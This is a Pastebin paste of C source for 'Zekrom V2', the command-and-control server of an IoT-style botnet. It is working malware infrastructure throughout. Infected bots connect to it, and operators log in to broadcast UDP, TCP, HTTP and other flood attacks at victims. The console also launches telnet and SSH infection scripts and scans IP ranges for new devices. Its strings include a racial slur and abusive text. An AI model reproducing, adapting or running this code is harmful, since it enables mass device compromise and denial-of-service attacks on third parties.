Advertisement
Guest User

LOLKMS

a guest
Aug 17th, 2016
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.11 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Skype: b1narythag0d
  4. XMPP: b1nary@nigge.rs
  5. Changes:
  6. Made Date: 7-7-16
  7. */
  8. /*
  9. *** DO NOT LEAK THIS SHIT ITS PRIVATE AF ***
  10.  
  11. # ___ __________ ____ _______ _____ _______________.___. ___
  12. # / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\
  13. # \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/
  14. # | | \ | / | \/ | \ | \\____ |
  15. # |______ / |___\____|__ /\____|__ /____|_ // ______|
  16. # \/ \/ \/ \/ \/
  17.  
  18. *** ZEKROM V2 SERVER.C ***
  19. */
  20. #include <stdio.h>
  21. #include <stdlib.h>
  22. #include <stdint.h>
  23. #include <inttypes.h>
  24. #include <string.h>
  25. #include <sys/types.h>
  26. #include <sys/socket.h>
  27. #include <netdb.h>
  28. #include <unistd.h>
  29. #include <time.h>
  30. #include <fcntl.h>
  31. #include <sys/epoll.h>
  32. #include <errno.h>
  33. #include <pthread.h>
  34. #include <signal.h>
  35. #include <arpa/inet.h>
  36. #define MAXFDS 1000000
  37. //////////////////////////////////
  38. struct login_info {
  39. char username[20];
  40. char password[20];
  41. };
  42. static struct login_info accounts[10];
  43. struct clientdata_t {
  44. uint32_t ip;
  45. char connected;
  46. } clients[MAXFDS];
  47. struct telnetdata_t {
  48. int connected;
  49. } managements[MAXFDS];
  50. struct args {
  51. int sock;
  52. struct sockaddr_in cli_addr;
  53. };
  54. static volatile FILE *telFD;
  55. static volatile FILE *fileFD;
  56. static volatile int epollFD = 0;
  57. static volatile int listenFD = 0;
  58. static volatile int OperatorsConnected = 0;
  59. static volatile int TELFound = 0;
  60. static volatile int scannerreport;
  61. //////////////////////////////////
  62. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  63. int total = 0, got = 1;
  64. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  65. return got;
  66. }
  67. void trim(char *str) {
  68. int i;
  69. int begin = 0;
  70. int end = strlen(str) - 1;
  71. while (isspace(str[begin])) begin++;
  72. while ((end >= begin) && isspace(str[end])) end--;
  73. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  74. str[i - begin] = '\0';
  75. }
  76. static int make_socket_non_blocking (int sfd) {
  77. int flags, s;
  78. flags = fcntl (sfd, F_GETFL, 0);
  79. if (flags == -1) {
  80. perror ("fcntl");
  81. return -1;
  82. }
  83. flags |= O_NONBLOCK;
  84. s = fcntl (sfd, F_SETFL, flags);
  85. if (s == -1) {
  86. perror ("fcntl");
  87. return -1;
  88. }
  89. return 0;
  90. }
  91. static int create_and_bind (char *port) {
  92. struct addrinfo hints;
  93. struct addrinfo *result, *rp;
  94. int s, sfd;
  95. memset (&hints, 0, sizeof (struct addrinfo));
  96. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  97. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  98. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  99. s = getaddrinfo (NULL, port, &hints, &result);
  100. if (s != 0) {
  101. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  102. return -1;
  103. }
  104. for (rp = result; rp != NULL; rp = rp->ai_next) {
  105. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  106. if (sfd == -1) continue;
  107. int yes = 1;
  108. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  109. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  110. if (s == 0) {
  111. break;
  112. }
  113. close (sfd);
  114. }
  115. if (rp == NULL) {
  116. fprintf (stderr, "Could not bind\n");
  117. return -1;
  118. }
  119. freeaddrinfo (result);
  120. return sfd;
  121. }
  122. void broadcast(char *msg, int us, char *sender)
  123. {
  124. int sendMGM = 1;
  125. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  126. char *wot = malloc(strlen(msg) + 10);
  127. memset(wot, 0, strlen(msg) + 10);
  128. strcpy(wot, msg);
  129. trim(wot);
  130. time_t rawtime;
  131. struct tm * timeinfo;
  132. time(&rawtime);
  133. timeinfo = localtime(&rawtime);
  134. char *timestamp = asctime(timeinfo);
  135. trim(timestamp);
  136. int i;
  137. for(i = 0; i < MAXFDS; i++)
  138. {
  139. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  140. if(sendMGM && managements[i].connected)
  141. {
  142. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  143. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  144. send(i, ": ", 2, MSG_NOSIGNAL);
  145. }
  146. printf("sent to fd: %d\n", i);
  147. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  148. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  149. else send(i, "\n", 1, MSG_NOSIGNAL);
  150. }
  151. free(wot);
  152. }
  153. void *BotEventLoop(void *useless) {
  154. struct epoll_event event;
  155. struct epoll_event *events;
  156. int s;
  157. events = calloc (MAXFDS, sizeof event);
  158. while (1) {
  159. int n, i;
  160. n = epoll_wait (epollFD, events, MAXFDS, -1);
  161. for (i = 0; i < n; i++) {
  162. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  163. clients[events[i].data.fd].connected = 0;
  164. close(events[i].data.fd);
  165. continue;
  166. }
  167. else if (listenFD == events[i].data.fd) {
  168. while (1) {
  169. struct sockaddr in_addr;
  170. socklen_t in_len;
  171. int infd, ipIndex;
  172.  
  173. in_len = sizeof in_addr;
  174. infd = accept (listenFD, &in_addr, &in_len);
  175. if (infd == -1) {
  176. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  177. else {
  178. perror ("accept");
  179. break;
  180. }
  181. }
  182.  
  183. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  184. int dup = 0;
  185. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  186. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  187. if(clients[ipIndex].ip == clients[infd].ip) {
  188. dup = 1;
  189. break;
  190. }}
  191. if(dup) {
  192. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  193. close(infd);
  194. continue;
  195. }
  196. s = make_socket_non_blocking (infd);
  197. if (s == -1) { close(infd); break; }
  198. event.data.fd = infd;
  199. event.events = EPOLLIN | EPOLLET;
  200. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  201. if (s == -1) {
  202. perror ("epoll_ctl");
  203. close(infd);
  204. break;
  205. }
  206. clients[infd].connected = 1;
  207. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  208. }
  209. continue;
  210. }
  211. else {
  212. int datafd = events[i].data.fd;
  213. struct clientdata_t *client = &(clients[datafd]);
  214. int done = 0;
  215. client->connected = 1;
  216. while (1) {
  217. ssize_t count;
  218. char buf[2048];
  219. memset(buf, 0, sizeof buf);
  220. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  221. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  222. trim(buf);
  223. if(strcmp(buf, "PING") == 0) {
  224. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  225. continue;
  226. }
  227. if(strstr(buf, "REPORT ") == buf) {
  228. char *line = strstr(buf, "REPORT ") + 7;
  229. fprintf(telFD, "%s\n", line);
  230. fflush(telFD);
  231. TELFound++;
  232. continue;
  233. }
  234. if(strstr(buf, "PROBING") == buf) {
  235. char *line = strstr(buf, "PROBING");
  236. scannerreport = 1;
  237. continue;
  238. }
  239. if(strstr(buf, "REMOVING PROBE") == buf) {
  240. char *line = strstr(buf, "REMOVING PROBE");
  241. scannerreport = 0;
  242. continue;
  243. }
  244. if(strcmp(buf, "PONG") == 0) {
  245. continue;
  246. }
  247. printf("buf: \"%s\"\n", buf);
  248. }
  249. if (count == -1) {
  250. if (errno != EAGAIN) {
  251. done = 1;
  252. }
  253. break;
  254. }
  255. else if (count == 0) {
  256. done = 1;
  257. break;
  258. }
  259. if (done) {
  260. client->connected = 0;
  261. close(datafd);
  262. }}}}}}
  263. unsigned int BotsConnected() {
  264. int i = 0, total = 0;
  265. for(i = 0; i < MAXFDS; i++) {
  266. if(!clients[i].connected) continue;
  267. total++;
  268. }
  269. return total;
  270. }
  271. void *TitleWriter(void *sock) {
  272. int datafd = (int)sock;
  273. char string[2048];
  274. while(1) {
  275. memset(string, 0, 2048);
  276. sprintf(string, "%c]0;BOT COUNT: %d| NIGGAS: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  277. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  278. sleep(2);
  279. }}
  280. int Find_Login(char *str) {
  281. FILE *fp;
  282. int line_num = 0;
  283. int find_result = 0, find_line=0;
  284. char temp[512];
  285.  
  286. if((fp = fopen("login.txt", "r")) == NULL){
  287. return(-1);
  288. }
  289. while(fgets(temp, 512, fp) != NULL){
  290. if((strstr(temp, str)) != NULL){
  291. find_result++;
  292. find_line = line_num;
  293. }
  294. line_num++;
  295. }
  296. if(fp)
  297. fclose(fp);
  298. if(find_result == 0)return 0;
  299. return find_line;
  300. }
  301. void *BotWorker(void *sock) {
  302. int datafd = (int)sock;
  303. int find_line;
  304. OperatorsConnected++;
  305. pthread_t title;
  306. char buf[2048];
  307. char* username;
  308. char* password;
  309. memset(buf, 0, sizeof buf);
  310. char botnet[2048];
  311. memset(botnet, 0, 2048);
  312. char botcount [2048];
  313. memset(botcount, 0, 2048);
  314. char statuscount [2048];
  315. memset(statuscount, 0, 2048);
  316.  
  317. FILE *fp;
  318. int i=0;
  319. int c;
  320. fp=fopen("login.txt", "r");
  321. while(!feof(fp)) {
  322. c=fgetc(fp);
  323. ++i;
  324. }
  325. int j=0;
  326. rewind(fp);
  327. while(j!=i-1) {
  328. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  329. ++j;
  330. }
  331.  
  332. if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  333. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  334. trim(buf);
  335. char* nickstring;
  336. sprintf(accounts[find_line].username, buf);
  337. nickstring = ("%s", buf);
  338. find_line = Find_Login(nickstring);
  339. if(strcmp(nickstring, accounts[find_line].username) == 0){
  340. if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  341. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  342. trim(buf);
  343. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  344. memset(buf, 0, 2048);
  345. goto Banner;
  346. }
  347. failed:
  348. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  349. char failed_line1[80];
  350.  
  351. sprintf(failed_line1, "\x1b[31mWRONG ANSWER BITCH!!\r\n");
  352. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  353. sleep(5);
  354. goto end;
  355.  
  356. Banner:
  357. pthread_create(&title, NULL, &TitleWriter, sock);
  358. char ascii_banner_line1 [5000];
  359. char ascii_banner_line2 [5000];
  360. char ascii_banner_line3 [5000];
  361. char ascii_banner_line4 [5000];
  362. char ascii_banner_line5 [5000];
  363. char ascii_banner_line6 [5000];
  364. char ascii_banner_line7 [5000];
  365. char welcome_line [80];
  366. char banner_bot_count [2048];
  367. memset(banner_bot_count, 0, 2048);
  368.  
  369. sprintf(ascii_banner_line1, "\x1b[31m ▄▀▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▄ █ ▄▀▀▄▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄\r\n");
  370. sprintf(ascii_banner_line2, "\x1b[31m█ ▄▀ ▐ ▄▀ ▐ █ █ ▄▀ █ █ █ █ █ █ █ ▀ █\r\n");
  371. sprintf(ascii_banner_line3, "\x1b[31m▐ ▄▄▀▀ █▄▄▄▄▄ ▐ █▀▄ ▐ █▀▀█▀ █ █ ▐ █ █\r\n");
  372. sprintf(ascii_banner_line4, "\x1b[31m █ █ ▌ █ █ ▄▀ █ ▀▄ ▄▀ █ █ \r\n");
  373. sprintf(ascii_banner_line5, "\x1b[31m ▀▄▄▄▄▀ ▄▀▄▄▄▄ ▄▀ █ █ █ ▀▀▀▀ ▄▀ ▄▀ \r\n");
  374. sprintf(ascii_banner_line6, "\x1b[31m ▐ █ ▐ █ ▐ ▐ ▐ █ █ \r\n");
  375. sprintf(ascii_banner_line7, "\x1b[31m ▐ ▐ ▐ ▐ \r\n");
  376. sprintf(welcome_line, "\r\n\x1b[34m ~[\x1b[31mSUH, %s\x1b[34m ]~\r\n", accounts[find_line].username);
  377. sprintf(banner_bot_count, "\x1b[34m ~[\x1b[31m RaidSecurity's Auto CNC setup! | BOT COUNT: %d\x1b[34m ]~\r\n", BotsConnected(), OperatorsConnected);
  378.  
  379. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  380. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  381. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  382. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  383. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  384. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  385. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  386. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  387. while(1) {
  388. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  389. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  390. break;
  391. }
  392. pthread_create(&title, NULL, &TitleWriter, sock);
  393. managements[datafd].connected = 1;
  394.  
  395. while(fdgets(buf, sizeof buf, datafd) > 0)
  396. {
  397. if(strstr(buf, "BOTS")) {
  398. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  399. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  400. continue;
  401. }
  402. if(strstr(buf, "STATUS")){
  403. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  404. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  405. continue;
  406. }
  407. if(strstr(buf, "STATS")){
  408. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  409. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  410. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  411. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  412. continue;
  413. }
  414. if(strstr(buf, "INFECT")) {
  415. system("python telnet.py filtered.txt");
  416. continue;
  417. }
  418. if(strstr(buf, "REINFECT")) {
  419. system("python w.py filtered_ssh.txt");
  420. continue;
  421. }
  422. if(strstr(buf, "FILTER")) {
  423. system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt");
  424. continue;
  425. }
  426. if(strstr(buf, "LOAD")) {
  427. system("python scan.py 376 LOAD 88 1");
  428. continue;
  429. }
  430. if(strstr(buf, "SCAN1")) {
  431. system("python scan.py 376 B 119.92 lol");
  432. continue;
  433. }
  434. if(strstr(buf, "SCAN2")) {
  435. system("python scan.py 376 B 119.93 lol");
  436. continue;
  437. }
  438. if(strstr(buf, "SCAN3")) {
  439. system("python scan.py 376 B 125.25 1");
  440. continue;
  441. }
  442. if(strstr(buf, "SCAN4")) {
  443. system("python scan.py 376 B 125.26 1");
  444. continue;
  445. }
  446. if(strstr(buf, "SCAN5")) {
  447. system("python scan.py 376 B 125.27 1");
  448. continue;
  449. }
  450. if(strstr(buf, "SCAN6")) {
  451. system("python scan.py 376 B 113.53 1");
  452. continue;
  453. }
  454. if(strstr(buf, "SCAN7")) {
  455. system("python scan.py 376 B 180.180 1");
  456. continue;
  457. }
  458. if(strstr(buf, "SCAN8")) {
  459. system("python scan.py 376 B 185.52 1");
  460. continue;
  461. }
  462. if(strstr(buf, "LUCKY")) {
  463. system("python scan.py 376 LUCKY 88 1");
  464. continue;
  465. }
  466. if(strstr(buf, "LUCKY2")) {
  467. system("python scan.py 376 LUCKY2 88 1");
  468. continue;
  469. }
  470. if(strstr(buf, "SCAN_OFF")) {
  471. system("killall -9 python");
  472. continue;
  473. }
  474. if(strstr(buf, "HELP")) {
  475. pthread_create(&title, NULL, &TitleWriter, sock);
  476. char helpline1 [80];
  477. char helpline2 [80];
  478. char helpline3 [80];
  479. char helpline4 [80];
  480. char helpline5 [80];
  481. char helpline6 [80];
  482. char helpline7 [80];
  483. char helpline8 [80];
  484. char helpline9 [80];
  485. char helpline10 [80];
  486. char helpline11 [80];
  487. char helpline12 [80];
  488. char helpline13 [80];
  489. char helpline14 [80];
  490. char helpline15 [80];
  491. char helpline16 [80];
  492. char helpline17 [80];
  493. char helpline18 [80];
  494. char helpline19 [80];
  495. char helpline20 [80];
  496. char helpline21 [80];
  497. char helpline22 [80];
  498. char helpline23 [80];
  499. char helpline24 [80];
  500. char helpline25 [80];
  501.  
  502.  
  503.  
  504. sprintf(helpline1, "\r\n\x1b[31m~[ATTACK COMMANDS]~\r\n");
  505. sprintf(helpline2, "\x1b[31m~[\x1b[37mUDP\x1b[31m]~ \x1b[37m!* UDP Victim Port Time 32 0 10\r\n");
  506. sprintf(helpline3, "\x1b[31m~[\x1b[37mTCP\x1b[31m]~ \x1b[37m!* TCP Victim Port Time 32 all 0 10\r\n");
  507. sprintf(helpline4, "\x1b[31m~[\x1b[37mSTD\x1b[31m]~ \x1b[37m!* STD Victim Port Time\r\n");
  508. sprintf(helpline5, "\x1b[31m~[\x1b[37mHTTP\x1b[31m]~ \x1b[37m!* HTTP Url Time\r\n");
  509. sprintf(helpline6, "\x1b[31m~[\x1b[37mJUNK\x1b[31m]~ \x1b[37m!* JUNK Victim Port Time\r\n");
  510. sprintf(helpline7, "\x1b[31m~[\x1b[37mHOLD\x1b[31m]~ \x1b[37m!* HOLD Victim Port Time\r\n");
  511. sprintf(helpline8, "\x1b[31m~[\x1b[37mKILL\x1b[31m]~ \x1b[37m!* KILLATTK | KILL\r\n");
  512.  
  513. sprintf(helpline9, "\x1b[31m~[SCANNING COMMANDS]~\r\n");
  514. sprintf(helpline10, "\x1b[31m~[\x1b[37mLOAD\x1b[31m]~ \x1b[37mLOAD\r\n");
  515. sprintf(helpline11, "\x1b[31m~[\x1b[37mSCAN\x1b[31m]~ \x1b[37mSCAN1 | SCAN2 | SCAN3 | SCAN4\r\n");
  516. sprintf(helpline12, "\x1b[31m~[\x1b[37mSCAN\x1b[31m]~ \x1b[37mSCAN5 | SCAN6 | SCAN7 | SCAN8\r\n");
  517. sprintf(helpline13, "\x1b[31m~[\x1b[37mLUCKY\x1b[31m]~ \x1b[37mLUCKY | LUCKY2\r\n");
  518. sprintf(helpline14, "\x1b[31m~[\x1b[37mSTOP\x1b[31m]~ \x1b[37mSCAN_OFF\r\n");
  519.  
  520. sprintf(helpline15, "\x1b[31m~[\x1b[37mGENERAL COMMANDS\x1b[31m]~\r\n");
  521. sprintf(helpline16, "\x1b[31m~[\x1b[37mSHELL\x1b[31m]~ \x1b[37m!* SH\r\n");
  522. sprintf(helpline17, "\x1b[31m~[\x1b[37mBOTS\x1b[31m]~ \x1b[37m!* BOTS | BOTS\r\n");
  523. sprintf(helpline18, "\x1b[31m~[\x1b[37mSTATUS\x1b[31m]~ \x1b[37m!* STATUS | STATUS\r\n");
  524. sprintf(helpline19, "\x1b[31m~[\x1b[37mSTATS\x1b[31m]~ \x1b[37mSTATS\r\n");
  525.  
  526. sprintf(helpline20, "\x1b[31m~[\x1b[37mMISC COMMANDS\x1b[31m]~\r\n");
  527. sprintf(helpline21, "\x1b[31m~[\x1b[37mINECTION FILTER\x1b[31m]~ \x1b[37mFILTER\r\n");
  528. sprintf(helpline22, "\x1b[31m~[\x1b[37mTELNET INFECT\x1b[31m]~ \x1b[37mINFECT\r\n");
  529. sprintf(helpline23, "\x1b[31m~[\x1b[37mREINFECT BOTS\x1b[31m]~ \x1b[37mREINFECT\r\n");
  530. sprintf(helpline24, "\x1b[31m~[\x1b[37mCLEARSCREEN\x1b[31m]~ \x1b[37mCLEAR\r\n");
  531. sprintf(helpline25, "\x1b[31m~[\x1b[37mLOGOUT\x1b[31m]~ \x1b[37mLOGOUT\r\n");
  532.  
  533.  
  534.  
  535. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  536. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  537. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  538. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  539. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  540. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  541. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  542. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  543. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  544. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  545. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  546. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  547. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  548. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  549. if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  550. if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  551. if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  552. if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  553. if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  554. if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end;
  555. if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end;
  556. if(send(datafd, helpline22, strlen(helpline22), MSG_NOSIGNAL) == -1) goto end;
  557. if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end;
  558. if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end;
  559. if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end;
  560. pthread_create(&title, NULL, &TitleWriter, sock);
  561. continue;
  562. }
  563. if(strstr(buf, "KILL")) {
  564. char killattack [2048];
  565. memset(killattack, 0, 2048);
  566. sprintf(killattack, "!* KILLATTK\r\n");
  567. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  568. continue;
  569. }
  570. if(strstr(buf, "CLEAR")) {
  571. char clearscreen [2048];
  572. memset(clearscreen, 0, 2048);
  573. sprintf(clearscreen, "\033[2J\033[1;1H");
  574. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  575. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  576. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  577. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  578. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  579. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  580. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  581. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  582. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  583. while(1) {
  584. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  585. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  586. break;
  587. }
  588. continue;
  589. }
  590. if(strstr(buf, "LOGOUT")) {
  591. char logoutmessage [2048];
  592. memset(logoutmessage, 0, 2048);
  593. sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  594. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  595. sleep(5);
  596. goto end;
  597. }
  598. trim(buf);
  599. if(send(datafd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  600. if(strlen(buf) == 0) continue;
  601. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  602.  
  603. FILE *LogFile;
  604. LogFile = fopen("server_log.txt", "a");
  605. time_t now;
  606. struct tm *gmt;
  607. char formatted_gmt [50];
  608. char lcltime[50];
  609. now = time(NULL);
  610. gmt = gmtime(&now);
  611. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  612. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  613. fclose(LogFile);
  614. broadcast(buf, datafd, accounts[find_line].username);
  615. memset(buf, 0, 2048);
  616. }
  617. end:
  618. managements[datafd].connected = 0;
  619. close(datafd);
  620. OperatorsConnected--;
  621. }
  622. void *BotListener(int port) {
  623. int sockfd, newsockfd;
  624. socklen_t clilen;
  625. struct sockaddr_in serv_addr, cli_addr;
  626. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  627. if (sockfd < 0) perror("ERROR opening socket");
  628. bzero((char *) &serv_addr, sizeof(serv_addr));
  629. serv_addr.sin_family = AF_INET;
  630. serv_addr.sin_addr.s_addr = INADDR_ANY;
  631. serv_addr.sin_port = htons(port);
  632. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  633. listen(sockfd,5);
  634. clilen = sizeof(cli_addr);
  635. while(1) {
  636. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  637. if (newsockfd < 0) perror("ERROR on accept");
  638. pthread_t thread;
  639. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  640. }}
  641. int main (int argc, char *argv[], void *sock)//~B1NARY~
  642. {
  643. signal(SIGPIPE, SIG_IGN);
  644. int s, threads, port;
  645. struct epoll_event event;
  646. if (argc != 4) {
  647. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  648. exit (EXIT_FAILURE);
  649. }
  650. port = atoi(argv[3]);
  651. telFD = fopen("telnet.txt", "a+");
  652. threads = atoi(argv[2]);
  653. listenFD = create_and_bind (argv[1]);
  654. if (listenFD == -1) abort ();
  655. s = make_socket_non_blocking (listenFD);
  656. if (s == -1) abort ();
  657. s = listen (listenFD, SOMAXCONN);
  658. if (s == -1) {
  659. perror ("listen");
  660. abort ();
  661. }
  662. epollFD = epoll_create1 (0);
  663. if (epollFD == -1) {
  664. perror ("epoll_create");
  665. abort ();
  666. }
  667. event.data.fd = listenFD;
  668. event.events = EPOLLIN | EPOLLET;
  669. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  670. if (s == -1) {
  671. perror ("epoll_ctl");
  672. abort ();
  673. }
  674. pthread_t thread[threads + 2];
  675. while(threads--) {
  676. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  677. }
  678. pthread_create(&thread[0], NULL, &BotListener, port);
  679. while(1) {
  680. broadcast("PING", -1, "LEL");
  681. sleep(60);
  682. }
  683. close (listenFD);
  684. return EXIT_SUCCESS;
  685. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement